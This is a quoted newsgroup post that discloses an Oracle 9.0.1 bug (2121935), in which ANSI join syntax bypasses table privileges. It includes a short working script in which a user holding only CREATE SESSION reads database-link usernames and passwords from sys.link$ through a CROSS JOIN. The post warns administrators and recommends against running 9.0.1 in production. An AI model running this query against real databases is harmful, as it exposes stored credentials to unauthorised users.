|This just in from comp.databases.oracle.server.
|
|See metalink bug 2121935.
|
|Using ANSI syntax joins (CROSS JOIN, LEFT OUTER etc)
|allows you to view data from tables on which you have no
|privilege. For example, try this COMPLETE script:
|
|connect / as sysdba
|create user us1 identified by us1;
|grant create session to us1;
|
|connect us1/us1
|
|select userid, password
|from
| sys.link$ cross join dual
|;
|
|
|
|Worse still, if you have the privilege to create views
|then this loophole allows you to seek and destroy
|ANY DATA in the database that you might want to.
|
|The bug is fixed in 9iR2. I didn't see any note
|about a backport, or a security alert on OTN.
|
|Conclusion:
|
| 9.0.1 should not be in use on production system
| until Oracle supplies a fix.
